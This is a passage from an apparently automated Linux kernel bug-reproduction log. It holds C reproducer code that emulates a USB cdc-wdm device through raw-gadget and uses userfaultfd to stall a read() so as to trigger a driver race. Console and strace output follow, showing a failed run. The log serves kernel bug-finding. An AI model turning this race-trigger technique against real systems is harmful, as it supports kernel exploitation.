}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
|
| 425/5 |
2026/09/11 23:42 |
action |
If |
0m
Args:
|
| 426/3 |
2026/09/11 23:42 |
action |
run-c-repro |
3m
Results: map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[ 60.855973][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 60.856048][ T33] audit: type=1400 audit(1789170213.537:201): avc: denied { transition } for pid=5831 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 60.856087][ T33] audit: type=1400 audit(1789170213.537:202): avc: denied { noatsecure } for pid=5831 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 60.867077][ T33] audit: type=1400 audit(1789170213.547:203): avc: denied { rlimitinh } for pid=5831 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 60.867195][ T33] audit: type=1400 audit(1789170213.547:204): avc: denied { siginh } for pid=5831 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:43750' (ED25519) to the list of known hosts.
[ 64.446611][ T33] audit: type=1400 audit(1789170217.127:205): avc: denied { write } for pid=5843 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.486301][ T33] audit: type=1400 audit(1789170217.167:206): avc: denied { write } for pid=5848 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.512616][ T33] audit: type=1400 audit(1789170217.187:207): avc: denied { read write } for pid=5847 comm="syz-executor317" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.513004][ T33] audit: type=1400 audit(1789170217.187:208): avc: denied { open } for pid=5847 comm="syz-executor317" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[+] Gadget initialized and running.
[ 64.521297][ T33] audit: type=1400 audit(1789170217.187:209): avc: denied { ioctl } for pid=5847 comm="syz-executor317" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.755527][ T807] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 64.796576][ T33] audit: type=1400 audit(1789170217.477:210): avc: denied { write } for pid=5855 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.906330][ T807] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a7, bcdDevice= 1.00
[ 64.910080][ T807] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[+] Endpoint EP1 IN enabled (index 0).
[+] Waiting for /dev/cdc-wdmX to appear...
[ 64.921291][ T807] cdc_wdm 1-1:1.0: cdc-wdm0: USB WDM device
[ 64.921338][ T807] cdc_wdm 1-1:1.0: Unknown control protocol
[+] Sending first notification on EP1...
[+] Sending second notification on EP1...
[+] Opened /dev/cdc-wdm0
[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...
[+] Second notification sent.
[+] Waiting for read() to block in userfaultfd...
[+] Calling read() on /dev/cdc-wdm0...
read uffd: Resource temporarily unavailable
[ 65.431072][ T2269] usb 1-1: USB disconnect, device number 2
[ 66.111439][ T33] kauditd_printk_skb: 14 callbacks suppressed
[ 66.111500][ T33] audit: type=1400 audit(1789170218.787:225): avc: denied { write } for pid=5887 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.148614][ T33] audit: type=1400 audit(1789170218.827:226): avc: denied { write } for pid=5890 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.042481][ T33] audit: type=1400 audit(1789170219.717:227): avc: denied { write } for pid=5893 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.081168][ T33] audit: type=1400 audit(1789170219.757:228): avc: denied { write } for pid=5896 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 71.577378][ T1383] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.577456][ T1383] ieee802154 phy1 wpan1: encryption failed: -22
[ 76.696106][ T9] cfg80211: failed to load regulatory.db
OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor3438138509
<...>
[ 61.676506][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.676582][ T33] audit: type=1400 audit(1789170305.183:201): avc: denied { transition } for pid=5828 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.678386][ T33] audit: type=1400 audit(1789170305.193:202): avc: denied { noatsecure } for pid=5828 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.680019][ T33] audit: type=1400 audit(1789170305.193:203): avc: denied { rlimitinh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.680038][ T33] audit: type=1400 audit(1789170305.193:204): avc: denied { siginh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 64.644031][ T33] audit: type=1400 audit(1789170308.153:205): avc: denied { write } for pid=5835 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.682627][ T33] audit: type=1400 audit(1789170308.193:206): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.113474][ T33] audit: type=1400 audit(1789170308.623:207): avc: denied { write } for pid=5841 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.154235][ T33] audit: type=1400 audit(1789170308.663:208): avc: denied { write } for pid=5844 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.225194][ T33] audit: type=1400 audit(1789170308.733:209): avc: denied { write } for pid=5847 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.273133][ T33] audit: type=1400 audit(1789170308.783:210): avc: denied { write } for pid=5850 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:33972' (ED25519) to the list of known hosts.
[ 66.499891][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.499963][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
execve("/syz-executor3438138509", ["/syz-executor3438138509"], 0x7ffdcc1c5810 /* 11 vars */) = 0
brk(NULL) = 0x55555f629000
brk(0x55555f629d80) = 0x55555f629d80
arch_prctl(ARCH_SET_FS, 0x55555f629400) = 0
set_tid_address(0x55555f6296d0) = 5883
set_robust_list(0x55555f6296e0, 24) = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor3438138509", 4096) = 23
getrandom("\x76\xe4\x26\xf4\x47\xa6\xcb\x1a", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x55555f629d80
brk(0x55555f64ad80) = 0x55555f64ad80
brk(0x55555f64b000) = 0x55555f64b000
mprotect(0x7f97e5251000, 20480, PROT_READ) = 0
rt_sigaction(SIGRT_1, {sa_handler=0x7f97e51dcdd0, sa_mask=[], sa_flags=SA_RESTORER|SA_ONSTACK|SA_RESTART|SA_SIGINFO, sa_restorer=0x7f97e51cbae0}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f97e4981000
mprotect(0x7f97e4982000, 8388608, PROT_READ|PROT_WRITE) = 0
rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f97e5181990, parent_tid=0x7f97e5181990, exit_signal=0, stack=0x7f97e4981000, stack_size=0x8002c0, tls=0x7f97e51816c0}/strace: Process 5885 attached
<unfinished ...>
[pid 5885] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5883] <... clone3 resumed> => {parent_tid=[5885]}, 88) = 5885
[pid 5883] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5885] <... rseq resumed>) = 0
[pid 5883] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5885] set_robust_list(0x7f97e51819a0, 24 <unfinished ...>
[pid 5883] mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0 <unfinished ...>
[pid 5885] <... set_robust_list resumed>) = 0
[pid 5883] <... mmap resumed>) = 0x7f97e4180000
[pid 5885] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5883] mprotect(0x7f97e4181000, 8388608, PROT_READ|PROT_WRITE <unfinished ...>
[pid 5885] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5883] <... mprotect resumed>) = 0
[pid 5885] openat(AT_FDCWD, "/dev/raw-gadget", O_RDWR <unfinished ...>
[pid 5883] rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
[pid 5883] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f97e4980990, parent_tid=0x7f97e4980990, exit_signal=0, stack=0x7f97e4180000, stack_size=0x8002c0, tls=0x7f97e49806c0} => {parent_tid=[5886]}, 88) = 5886
[pid 5883] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 5883] futex(0x7f97e5257b70, FUTEX_WAIT_PRIVATE, 0, NULL/strace: Process 5886 attached
[ 66.702645][ T33] kauditd_printk_skb: 6 callbacks suppressed
[ 66.702950][ T33] audit: type=1400 audit(1789170310.213:217): avc: denied { read write } for pid=5883 comm="syz-executor343" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
<unfinished ...>
[pid 5886] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5885] <... openat resumed>) = 3
[pid 5886] <... rseq resumed>) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_INIT, 0x7f97e5180f60 <unfinished ...>
[pid 5886] set_robust_list(0x7f97e49809a0, 24 <unfinished ...>
[pid 5885] <... ioctl resumed>) = 0
[pid 5886] <... set_robust_list resumed>) = 0
[pid 5886] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 5886] futex(0x7f97e5257b70, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...>
[ 66.709343][ T33] audit: type=1400 audit(1789170310.213:218): avc: denied { open } for pid=5883 comm="syz-executor343" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 66.715036][ T33] audit: type=1400 audit(1789170310.233:219): avc: denied { ioctl } for pid=5883 comm="syz-executor343" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[pid 5885] ioctl(3, UI_DEV_CREATE or USB_RAW_IOCTL_RUN, 0) = 0
[pid 5885] write(1, "[+] Gadget initialized and running.", 35) = 35
[pid 5885] write(1, "\n", 1) = 1
[+] Gadget initialized and running.
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[ 66.947262][ T5619] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 18
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[ 67.022005][ T33] audit: type=1400 audit(1789170310.533:220): avc: denied { write } for pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.056937][ T33] audit: type=1400 audit(1789170310.573:221): avc: denied { write } for pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 18
[ 67.098496][ T5619] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a7, bcdDevice= 1.00
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 9
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[ 67.128295][ T5619] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_WRITE, 0x7f97e51810d0) = 32
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP0_READ, 0x7f97e51810d0) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_CONFIGURE, 0) = 0
[pid 5885] ioctl(3, USB_RAW_IOCTL_EP_ENABLE, 0x7f97e5256137) = 0
[pid 5885] write(1, "[+] Endpoint EP1 IN enabled (index 0).\n", 39) = 39
[+] Endpoint EP1 IN enabled (index 0).
[pid 5885] futex(0x7f97e5257b70, FUTEX_WAKE_PRIVATE, 1000000 <unfinished ...>
[pid 5883] <... futex resumed>) = 0
[pid 5886] <... futex resumed>) = 0
[pid 5885] <... futex resumed>) = 2
[pid 5885] ioctl(3, USB_RAW_IOCTL_EVENT_FETCH, 0x7f97e5181080 <unfinished ...>
[pid 5883] write(1, "[+] Waiting for /dev/cdc-wdmX to appear...", 42) = 42
[pid 5883] write(1, "\n", 1) = 1
[+] Waiting for /dev/cdc-wdmX to appear...
[ 67.159645][ T5619] cdc_wdm 1-1:1.0: cdc-wdm0: USB WDM device
[ 67.163184][ T5619] cdc_wdm 1-1:1.0: Unknown control protocol
[pid 5886] write(1, "[+] Sending first notification on EP1...", 40) = 40
[+] Sending first notification on EP1...
[pid 5886] write(1, "\n", 1) = 1
[pid 5886] ioctl(3, USB_RAW_IOCTL_EP_WRITE, 0x7f97e4980100) = 8
[pid 5886] write(1, "[+] Sending second notification on EP1...", 41) = 41
[pid 5886] write(1, "\n", 1) = 1
[+] Sending second notification on EP1...
[pid 5886] ioctl(3, USB_RAW_IOCTL_EP_WRITE, 0x7f97e4980100 <unfinished ...>
[ 67.658735][ T33] audit: type=1400 audit(1789170311.173:222): avc: denied { read write } for pid=5883 comm="syz-executor343" name="cdc-wdm0" dev="devtmpfs" ino=2796 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:modem_device_t tclass=chr_file permissive=1
[ 67.659725][ T33] audit: type=1400 audit(1789170311.173:223): avc: denied { open } for pid=5883 comm="syz-executor343" path="/dev/cdc-wdm0" dev="devtmpfs" ino=2796 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:modem_device_t tclass=chr_file permissive=1
[pid 5883] openat(AT_FDCWD, "/dev/cdc-wdm0", O_RDWR) = 4
[pid 5886] <... ioctl resumed>) = 8
[pid 5885] <... ioctl resumed>) = 0
[pid 5883] futex(0x7f97e52588d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 5886] futex(0x7f97e52588d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 5885] write(1, "[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...", 67) = 67
[pid 5885] write(1, "\n", 1) = 1
[pid 5885] futex(0x7f97e52588d0, FUTEX_WAKE_PRIVATE, 1) = 0
[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...
[pid 5883] <... futex resumed>) = -1 EAGAIN (Resource temporarily unavailable)
[pid 5886] <... futex resumed>) = -1 EAGAIN (Resource temporarily unavailable)
[pid 5885] futex(0x7f97e5257b64, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...>
[pid 5883] write(1, "[+] Opened /dev/cdc-wdm0\n", 25 <unfinished ...>
[pid 5886] futex(0x7f97e52588d0, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
[pid 5883] <... write resumed>) = 25
[+] Opened /dev/cdc-wdm0
[pid 5883] futex(0x7f97e52588d0, FUTEX_WAKE_PRIVATE, 1) = 1
[pid 5886] <... futex resumed>) = 0
[pid 5883] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 <unfinished ...>
[pid 5886] write(1, "[+] Second notification sent.", 29 <unfinished ...>
[pid 5883] <... mmap resumed>) = 0x7f97e417f000
[pid 5886] <... write resumed>) = 29
[pid 5883] userfaultfd(O_NONBLOCK|O_CLOEXEC <unfinished ...>
[ 67.680464][ T33] audit: type=1400 audit(1789170311.193:224): avc: denied { create } for pid=5883 comm="syz-executor343" anonclass=[userfaultfd] scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[+] Second notification sent.
[pid 5886] write(1, "\n", 1 <unfinished ...>
[pid 5883] <... userfaultfd resumed>) = 5
[pid 5886] <... write resumed>) = 1
[pid 5883] ioctl(5, UFFDIO_API, {api=0xaa, features=0 <unfinished ...>
[pid 5886] futex(0x7f97e52588d0, FUTEX_WAKE_PRIVATE, 1 <unfinished ...>
[pid 5883] <... ioctl resumed> => features=UFFD_FEATURE_PAGEFAULT_FLAG_WP|UFFD_FEATURE_EVENT_FORK|UFFD_FEATURE_EVENT_REMAP|UFFD_FEATURE_EVENT_REMOVE|UFFD_FEATURE_MISSING_HUGETLBFS|UFFD_FEATURE_MISSING_SHMEM|UFFD_FEATURE_EVENT_UNMAP|UFFD_FEATURE_SIGBUS|UFFD_FEATURE_THREAD_ID|UFFD_FEATURE_MINOR_HUGETLBFS|UFFD_FEATURE_MINOR_SHMEM|UFFD_FEATURE_EXACT_ADDRESS|UFFD_FEATURE_POISON|UFFD_FEATURE_MOVE|0x60000, ioctls=1<<_UFFDIO_REGISTER|1<<_UFFDIO_UNREGISTER|1<<_UFFDIO_API|0x400}) = 0
[pid 5886] <... futex resumed>) = 0
[pid 5886] futex(0x7f97e5257b64, FUTEX_WAKE_PRIVATE, 1000000) = 1
[pid 5885] <... futex resumed>) = 0
[ 67.699543][ T33] audit: type=1400 audit(1789170311.213:225): avc: denied { ioctl } for pid=5883 comm="syz-executor343" path="anon_inode:[userfaultfd]" dev="anon_inodefs" ino=8216 ioctlcmd=0xaa3f scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[pid 5886] write(1, "[+] Waiting for read() to block in userfaultfd...", 49 <unfinished ...>
[pid 5883] ioctl(5, UFFDIO_REGISTER, {range={start=0x7f97e417f000, len=0x1000}, mode=UFFDIO_REGISTER_MODE_MISSING <unfinished ...>
[pid 5886] <... write resumed>) = 49
[pid 5883] <... ioctl resumed>, ioctls=1<<_UFFDIO_WAKE|1<<_UFFDIO_COPY|1<<_UFFDIO_ZEROPAGE|1<<_UFFDIO_MOVE|1<<_UFFDIO_POISON}) = 0
[pid 5883] mmap(NULL, 8392704, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f97e397e000
[pid 5883] mprotect(0x7f97e397f000, 8388608, PROT_READ|PROT_WRITE) = 0
[pid 5883] rt_sigprocmask(SIG_BLOCK, ~[], [], 8) = 0
[pid 5883] clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f97e417e990, parent_tid=0x7f97e417e990, exit_signal=0, stack=0x7f97e397e000, stack_size=0x8002c0, tls=0x7f97e417e6c0}/strace: Process 5895 attached
<unfinished ...>
[pid 5895] rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053 <unfinished ...>
[pid 5883] <... clone3 resumed> => {parent_tid=[5895]}, 88) = 5895
[+] Waiting for read() to block in userfaultfd...
[pid 5886] write(1, "\n", 1 <unfinished ...>
[pid 5883] rt_sigprocmask(SIG_SETMASK, [] <unfinished ...>
[pid 5895] <... rseq resumed>) = 0
[pid 5886] <... write resumed>) = 1
[pid 5883] <... rt_sigprocmask resumed>, NULL, 8) = 0
[pid 5883] write(1, "[+] Calling read() on /dev/cdc-wdm0...\n", 39 <unfinished ...>
[pid 5895] set_robust_list(0x7f97e417e9a0, 24 <unfinished ...>
[pid 5886] futex(0x7f97e5257b6c, FUTEX_WAIT_PRIVATE, 0, NULL <unfinished ...>
[pid 5883] <... write resumed>) = 39
[pid 5895] <... set_robust_list resumed>) = 0
[pid 5883] read(4 <unfinished ...>
[+] Calling read() on /dev/cdc-wdm0...
[pid 5895] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[pid 5895] read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN (Resource temporarily unavailable)
[ 67.722419][ T33] audit: type=1400 audit(1789170311.233:226): avc: denied { read } for pid=5883 comm="syz-executor343" path="anon_inode:[userfaultfd]" dev="anon_inodefs" ino=8216 scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:sysadm_t tclass=anon_inode permissive=1
[pid 5895] dup(2) = 6
[pid 5895] fcntl(6, F_GETFL) = 0x1 (flags O_WRONLY)
[pid 5895] close(6) = 0
[pid 5895] mmap(NULL, 134217728, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f97db800000
[pid 5895] munmap(0x7f97db800000, 8388608) = 0
[pid 5895] munmap(0x7f97e0000000, 58720256) = 0
[pid 5895] mprotect(0x7f97dc000000, 135168, PROT_READ|PROT_WRITE) = 0
[pid 5895] write(2, "read uffd: Resource temporarily unavailable\n", 44read uffd: Resource temporarily unavailable
) = 44
[pid 5895] exit_group(1 <unfinished ...>
[pid 5886] <... futex resumed>) = ?
[pid 5883] <... read resumed> <unfinished ...>) = ?
[pid 5895] <... exit_group resumed>) = ?
[pid 5886] +++ exited with 1 +++
[pid 5885] +++ exited with 1 +++
[pid 5895] +++ exited with 1 +++
[ 67.745545][ T51] usb 1-1: USB disconnect, device number 2
+++ exited with 1 +++
[ 76.738503][ T10] cfg80211: failed to load regulatory.db
TestError:]
|
| 427/3 |
2026/09/11 23:45 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 60.855973][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 60.856048][ T33] audit: type=1400 audit(1789170213.537:201): avc: denied { transition } for pid=5831 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 60.856087][ T33] audit: type=1400 audit(1789170213.537:202): avc: denied { noatsecure } for pid=5831 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 60.867077][ T33] audit: type=1400 audit(1789170213.547:203): avc: denied { rlimitinh } for pid=5831 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 60.867195][ T33] audit: type=1400 audit(1789170213.547:204): avc: denied { siginh } for pid=5831 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:43750' (ED25519) to the list of known hosts.
